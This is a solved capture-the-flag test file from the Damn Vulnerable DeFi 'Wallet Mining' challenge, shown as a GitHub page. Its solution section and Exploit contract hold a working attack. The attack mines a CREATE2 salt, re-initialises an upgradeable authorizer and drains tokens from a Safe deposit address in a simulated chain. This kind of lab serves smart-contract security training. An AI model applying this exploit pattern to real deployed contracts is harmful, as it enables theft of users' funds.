-
Notifications
You must be signed in to change notification settings - Fork 116
/
Copy pathWalletMining.t.sol
263 lines (221 loc) · 12 KB
/
WalletMining.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {SafeProxyFactory} from "@safe-global/safe-smart-account/contracts/proxies/SafeProxyFactory.sol";
import {Safe, OwnerManager, Enum} from "@safe-global/safe-smart-account/contracts/Safe.sol";
import {Create2} from "@openzeppelin/contracts/utils/Create2.sol";
import {SafeProxy} from "@safe-global/safe-smart-account/contracts/proxies/SafeProxy.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {WalletDeployer} from "../../src/wallet-mining/WalletDeployer.sol";
import {
AuthorizerFactory, AuthorizerUpgradeable, TransparentProxy
} from "../../src/wallet-mining/AuthorizerFactory.sol";
contract WalletMiningChallenge is Test {
address deployer = makeAddr("deployer");
address upgrader = makeAddr("upgrader");
address ward = makeAddr("ward");
address player = makeAddr("player");
address user;
uint256 userPrivateKey;
address constant USER_DEPOSIT_ADDRESS = 0x8be6a88D3871f793aD5D5e24eF39e1bf5be31d2b;
uint256 constant DEPOSIT_TOKEN_AMOUNT = 20_000_000e18;
address constant SAFE_SINGLETON_FACTORY_ADDRESS = 0x914d7Fec6aaC8cd542e72Bca78B30650d45643d7;
bytes constant SAFE_SINGLETON_FACTORY_CODE =
hex"7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe03601600081602082378035828234f58015156039578182fd5b8082525050506014600cf3";
DamnValuableToken token;
AuthorizerUpgradeable authorizer;
WalletDeployer walletDeployer;
SafeProxyFactory proxyFactory;
Safe singletonCopy;
uint256 initialWalletDeployerTokenBalance;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
// Player should be able to use the user's private key
(user, userPrivateKey) = makeAddrAndKey("user");
startHoax(deployer);
// Deploy token
token = new DamnValuableToken();
// Deploy authorizer with a ward authorized to deploy at DEPOSIT_ADDRESS
address[] memory wards = new address[](1);
wards[0] = ward;
address[] memory aims = new address[](1);
aims[0] = USER_DEPOSIT_ADDRESS;
AuthorizerFactory authorizerFactory = new AuthorizerFactory();
authorizer = AuthorizerUpgradeable(authorizerFactory.deployWithProxy(wards, aims, upgrader));
// Send big bag full of DVT tokens to the deposit address
token.transfer(USER_DEPOSIT_ADDRESS, DEPOSIT_TOKEN_AMOUNT);
// Include Safe singleton factory in this chain
vm.etch(SAFE_SINGLETON_FACTORY_ADDRESS, SAFE_SINGLETON_FACTORY_CODE);
// Call singleton factory to deploy copy and factory contracts
(bool success, bytes memory returndata) =
address(SAFE_SINGLETON_FACTORY_ADDRESS).call(bytes.concat(bytes32(""), type(Safe).creationCode));
singletonCopy = Safe(payable(address(uint160(bytes20(returndata)))));
(success, returndata) =
address(SAFE_SINGLETON_FACTORY_ADDRESS).call(bytes.concat(bytes32(""), type(SafeProxyFactory).creationCode));
proxyFactory = SafeProxyFactory(address(uint160(bytes20(returndata))));
// Deploy wallet deployer
walletDeployer = new WalletDeployer(address(token), address(proxyFactory), address(singletonCopy));
// Set authorizer in wallet deployer
walletDeployer.rule(address(authorizer));
// Fund wallet deployer with tokens
initialWalletDeployerTokenBalance = walletDeployer.pay();
token.transfer(address(walletDeployer), initialWalletDeployerTokenBalance);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
// Check initialization of authorizer
assertNotEq(address(authorizer), address(0));
assertEq(TransparentProxy(payable(address(authorizer))).upgrader(), upgrader);
assertTrue(authorizer.can(ward, USER_DEPOSIT_ADDRESS));
assertFalse(authorizer.can(player, USER_DEPOSIT_ADDRESS));
// Check initialization of wallet deployer
assertEq(walletDeployer.chief(), deployer);
assertEq(walletDeployer.gem(), address(token));
assertEq(walletDeployer.mom(), address(authorizer));
// Ensure DEPOSIT_ADDRESS starts empty
assertEq(USER_DEPOSIT_ADDRESS.code, hex"");
// Factory and copy are deployed correctly
assertEq(address(walletDeployer.cook()).code, type(SafeProxyFactory).runtimeCode, "bad cook code");
assertEq(walletDeployer.cpy().code, type(Safe).runtimeCode, "no copy code");
// Ensure initial token balances are set correctly
assertEq(token.balanceOf(USER_DEPOSIT_ADDRESS), DEPOSIT_TOKEN_AMOUNT);
assertGt(initialWalletDeployerTokenBalance, 0);
assertEq(token.balanceOf(address(walletDeployer)), initialWalletDeployerTokenBalance);
assertEq(token.balanceOf(player), 0);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_walletMining() public checkSolvedByPlayer {
// Step 1: Find the correct nonce using a loop to compute the expected address with CREATE2
address[] memory _owners = new address[](1);
_owners[0] = user;
bytes memory initializer =
abi.encodeCall(Safe.setup, (_owners, 1, address(0), "", address(0), address(0), 0, payable(0)));
uint256 nonce;
bool flag = false;
while (!flag) {
address target = vm.computeCreate2Address(
keccak256(abi.encodePacked(keccak256(initializer), nonce)),
keccak256(abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(address(singletonCopy))))),
address(proxyFactory)
);
if (target == USER_DEPOSIT_ADDRESS) {
flag = true;
break;
}
nonce ++;
}
// Step 2: Prepare execTransaction call data
bytes memory execData;
{ // avoid stack too deep
address to = address(token);
uint256 value = 0;
bytes memory data = abi.encodeWithSelector(token.transfer.selector, user, DEPOSIT_TOKEN_AMOUNT);
Enum.Operation operation = Enum.Operation.Call;
uint256 safeTxGas = 100000;
uint256 baseGas = 100000;
uint256 gasPrice = 0;
address gasToken = address(0);
address refundReceiver = address(0);
uint256 nonce = 0;
bytes memory signatures;
// Step 3: Calculate transaction hash manually since Safe is not yet deployed
// We cannot call `safe.getTransactionHash` because the Safe contract has not been deployed yet
// We also can't use `singletonCopy.getTransactionHash` because the domainSeparator depends on the Safe address
{ // avoid stack too deep
bytes32 safeTxHash = keccak256(
abi.encode(
0xbb8310d486368db6bd6f849402fdd73ad53d316b5a4b2644ad6efe0f941286d8, // SAFE_TX_TYPEHASH,
to,
value,
keccak256(data),
operation,
safeTxGas,
baseGas,
gasPrice,
gasToken,
refundReceiver,
nonce
)
);
bytes32 domainSeparator = keccak256(abi.encode(
0x47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a79469218, // DOMAIN_SEPARATOR_TYPEHASH,
singletonCopy.getChainId(),
USER_DEPOSIT_ADDRESS
));
// Step 4: Sign the transaction hash using the user's private key
bytes32 txHash = keccak256(abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator, safeTxHash));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(userPrivateKey, txHash);
signatures = abi.encodePacked(r, s, v);
}
//Step 5: Encode the execTransaction call data for later execution
execData = abi.encodeWithSelector(singletonCopy.execTransaction.selector, to, value, data, operation, safeTxGas, baseGas, gasPrice, gasToken, refundReceiver, signatures);
}
// Step 6: Deploy the Safe and execute the exploit
new Exploit(token, authorizer, walletDeployer, USER_DEPOSIT_ADDRESS, ward, initializer, nonce, execData);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Factory account must have code
assertNotEq(address(walletDeployer.cook()).code.length, 0, "No code at factory address");
// Safe copy account must have code
assertNotEq(walletDeployer.cpy().code.length, 0, "No code at copy address");
// Deposit account must have code
assertNotEq(USER_DEPOSIT_ADDRESS.code.length, 0, "No code at user's deposit address");
// The deposit address and the wallet deployer must not hold tokens
assertEq(token.balanceOf(USER_DEPOSIT_ADDRESS), 0, "User's deposit address still has tokens");
assertEq(token.balanceOf(address(walletDeployer)), 0, "Wallet deployer contract still has tokens");
// User account didn't execute any transactions
assertEq(vm.getNonce(user), 0, "User executed a tx");
// Player must have executed a single transaction
assertEq(vm.getNonce(player), 1, "Player executed more than one tx");
// Player recovered all tokens for the user
assertEq(token.balanceOf(user), DEPOSIT_TOKEN_AMOUNT, "Not enough tokens in user's account");
// Player sent payment to ward
assertEq(token.balanceOf(ward), initialWalletDeployerTokenBalance, "Not enough tokens in ward's account");
}
}
contract Exploit {
constructor (
DamnValuableToken token, // The DVT token contract used for transferring tokens.
AuthorizerUpgradeable authorizer, // The authorizer contract that allows initialization and authorization.
WalletDeployer walletDeployer, // The wallet deployer contract for deploying a new Safe wallet.
address safe, // The address of the Safe wallet.
address ward, // The ward address that will receive funds (1 DVT token).
bytes memory initializer, // The initializer data for setting up the Safe wallet during deployment.
uint256 saltNonce, // The nonce used with CREATE2 to deploy the wallet.
bytes memory txData // The transaction data that will be called on the Safe wallet after deployment.
) {
// Create an array of one element for 'wards', which is this contract.
address[] memory wards = new address[](1);
address[] memory aims = new address[](1);
// Set the 'ward' to this contract and the 'aim' to the Safe wallet address.
wards[0] = address(this);
aims[0] = safe;
// Call the 'init' function on the Authorizer contract to set this contract as an authorized address.
authorizer.init(wards, aims); // This authorizes this contract to interact with the Safe wallet.
// Deploy the Safe wallet via the WalletDeployer contract using the CREATE2 opcode with the provided initializer data and nonce.
bool success = walletDeployer.drop(address(safe), initializer, saltNonce);
require(success, "deploy failed"); // Ensure the deployment was successful.
// Transfer the balance of this contract (if any) to the ward address.
token.transfer(ward, token.balanceOf(address(this))); // Transfers tokens to the ward address.
// Execute the transaction on the Safe wallet, calling it with the provided transaction data.
(success,) = safe.call(txData);
require(success, "tx failed"); // Ensure the transaction was successful.
}
}